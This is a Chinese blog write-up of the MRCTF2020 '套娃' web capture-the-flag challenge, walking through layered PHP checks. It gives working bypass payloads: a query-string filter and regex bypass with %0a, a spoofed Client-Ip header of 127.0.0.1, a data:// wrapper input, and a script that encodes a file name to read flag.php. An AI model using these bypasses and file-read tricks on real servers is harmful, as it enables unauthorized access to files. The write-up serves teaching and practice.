首页 > 其他分享 >[MRCTF2020]套娃 1

[MRCTF2020]套娃 1

时间:2024-07-17 21:55:53浏览次数:17  
标签:套娃 GET ip echo re file SERVER MRCTF2020

目录

第一层

在这里插入图片描述
查看源码

$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){

    die('Y0u are So cutE!');

}

if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){

    echo "you are going to the next ~";

}

$_SERVER函数的用法

$_SERVER 是一个超全局变量,在 PHP 中用于访问服务器环境中的各种信息。它是一个关联数组,包含了诸如请求头、路径和脚本位置等信息。
以下是 $_SERVER 常用的一些键(key)和它们的含义:

1、$_SERVER['PHP_SELF']:
    当前执行脚本的文件名,相对于网站根目录。
2、$_SERVER['SERVER_NAME']:
    当前运行脚本所在服务器主机的名字。
3、$_SERVER['HTTP_HOST']:
    当前请求的 Host 头部的内容,用于指定服务器的域名。
4、$_SERVER['REQUEST_METHOD']:
    当前请求的 HTTP 方法(例如 GET、POST、HEAD、PUT 等)。
5、$_SERVER['QUERY_STRING']:
    查询字符串(如果有的话),例如 id=10&page=2 中的 id=10&page=2 部分。
6、$_SERVER['REMOTE_ADDR']:
    客户端的 IP 地址。
7、$_SERVER['HTTP_USER_AGENT']:
    发出请求的用户代理的字符串(浏览器等客户端信息)。
8、$_SERVER['REQUEST_URI']:
    URI 的完整请求路径,包括查询字符串。
9、$_SERVER['SCRIPT_FILENAME']:
    当前执行脚本的绝对路径。
10、$_SERVER['SCRIPT_NAME']:
    当前执行脚本的路径。
11、$_SERVER['HTTPS']:
    如果是通过 HTTPS 连接,则为 'on',否则为空。
12、$_SERVER['SERVER_PORT']:
    服务器端口号(默认为 80)。

代码过滤了如"id=10&page=2",也就是传入的变量名和参数中的"_“和”%5f",可以使用’.'或者空格绕过
对于正则表达式"/^23333 / " ,开头结尾都被 " " 和 " /",开头结尾都被"^"和" /",开头结尾都被""和""固定,不能匹配如"23333a"等内容,可以使用“%0a”(换行符)绕过

payload:?b+u+p+t=23333%0a

在这里插入图片描述

第二层

访问:/secrettw.php
在这里插入图片描述
查看源代码在这里插入图片描述
将内容复制到控制台执行在这里插入图片描述
需要post传入Merak,随便传一个值,又显示出一段代码

第三层

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>  

ip需要本地访问:
Client-Ip:127.0.0.1

2333文件中的内容需要为:‘todat is a happy day’,可以使用伪协议
?2333=data://text/plain,todat+is+a+happy+day

file的值经过一段脚本处理后,读取文件flie的内容
脚本内容:base64解码——》转化为ascii码+i2——》转换为字符串
我们要做的:将"flag.php"转化为ascii码-i
2——》base64加密
脚本

<?php
$a = 'flag.php';
$re = '';
for($i=0;$i<strlen($a);$i++){
    $re .= chr( ord ($a[$i]) - $i*2);
}
$re = base64_encode($re);
echo $re;

?>

值:flag=ZmpdYSZmXGI=

将三个值都传入后得到flag
在这里插入图片描述

标签:套娃,GET,ip,echo,re,file,SERVER,MRCTF2020
From: https://blog.csdn.net/ubaichu/article/details/140506098

相关文章

  • [MRCTF2020]Ezaudit 1
    信息收集,伪随机数打开之后发现什么按键都没用,直接扫目录得到了两个网址:www.ziplogin.html<?phpheader('Content-type:text/html;charset=utf-8');error_reporting(0);if(isset($_POST['login'])){$username=$_POST['username'];$password=$_POST[&......
  • Origin2022中文版绘制套娃式柱形图,大柱套小柱!
    柱形图是科研中常用的图表之一,为了同时展示分数据与总数据之间的趋势分布,我们可以采用大柱形图(总数据)嵌套小柱形图(分数据)的展示方式,使图表更清晰直观,下面给大家分享如何制作套娃式柱形图;操作步骤:1、先打开Origin2022软件,然后在Book1中输入如下示例数据:2、选中A-D列的数据:......
  • 页面嵌套,界面套娃,除了用iframe,还有其他方式吗?
    ​ UIOTOS可以了解下,uiotos.net,通过连线来代替脚本逻辑开发,复杂的交互界面,通过页面嵌套轻松解决,是个很新颖的思路,前端零代码!蓝图连线尤其是独创的页面嵌套和属性继承技术,好家伙相当于把vue的组件化、增量式面向对象开发,直接搬到前端拖拽工具上,无代码编程了。总的来说,这上面的......
  • [MRCTF2020]套娃
    [MRCTF2020]套娃打开环境发现有张图片显示不出来查看网页源代码发现部分代码$query=$_SERVER['QUERY_STRING'];if(substr_count($query,'_')!==0||substr_count($query,'%5f')!=0){die('Y0uareSocutE!');}if($_GET['b_u_p_t�......
  • [MRCTF2020]PYWebsite
    [MRCTF2020]PYWebsite查看源代码发现验证成功后跳转flag页面<script>functionenc(code){hash=hex_md5(code);returnhash;}functionvalidate(){varcode=document.getElementById("vcode").value;if(code!="......
  • [MRCTF2020]你传你呢
    [MRCTF2020]你传你......
  • CTF笔记——[GXYCTF2019]禁止套娃 1
    [GXYCTF2019]禁止套娃1打开题目之后什么都没看到所以进行常规的检测漏洞,扫描目录发现存在.git文件夹下的文件存在#DirsearchstartedSunMar1015:19:392024as:D:\Python\Scripts\dirsearch-uhttp://849b4a98-3df3-4abb-927e-1a358a178e30.node5.buuoj.cn:81/-x429......
  • 俄罗斯套娃 (Matryoshka) 嵌入模型概述
    在这篇博客中,我们将向你介绍俄罗斯套娃嵌入的概念,并解释为什么它们很有用。我们将讨论这些模型在理论上是如何训练的,以及你如何使用SentenceTransformers来训练它们。除此之外,我们还会告诉你怎么用这种像套娃一样的俄罗斯套娃嵌入模型,并且我们会比较一下这种模型和普通嵌入模......
  • 用python脚本跑套娃题
    importosimportzipfiledir="C://Users//32454//Desktop//4032"defjieya():foriinrange(4032,0,-1):#从4032开始,递减到1print(i)file_path=os.path.join(dir,str(i)+".zip")ifos.path.exists(file_path):#检查文件是否存在try:zpf=zip......
  • [MRCTF2020]Easy_RSA
    [MRCTF2020]Easy_RSA首先,RSA计算的5个基本公式n=pqφ(n)=(p-1)(q-1)求φ(n)e*dmodφ(n)=1求ed其中之一c=m^emodn加密m=c^dmodn解密题目:importsympyfromgmpy2importgcd,invertfromrandomimportrandintfromCrypto.Util.numberimportgetPrime,is......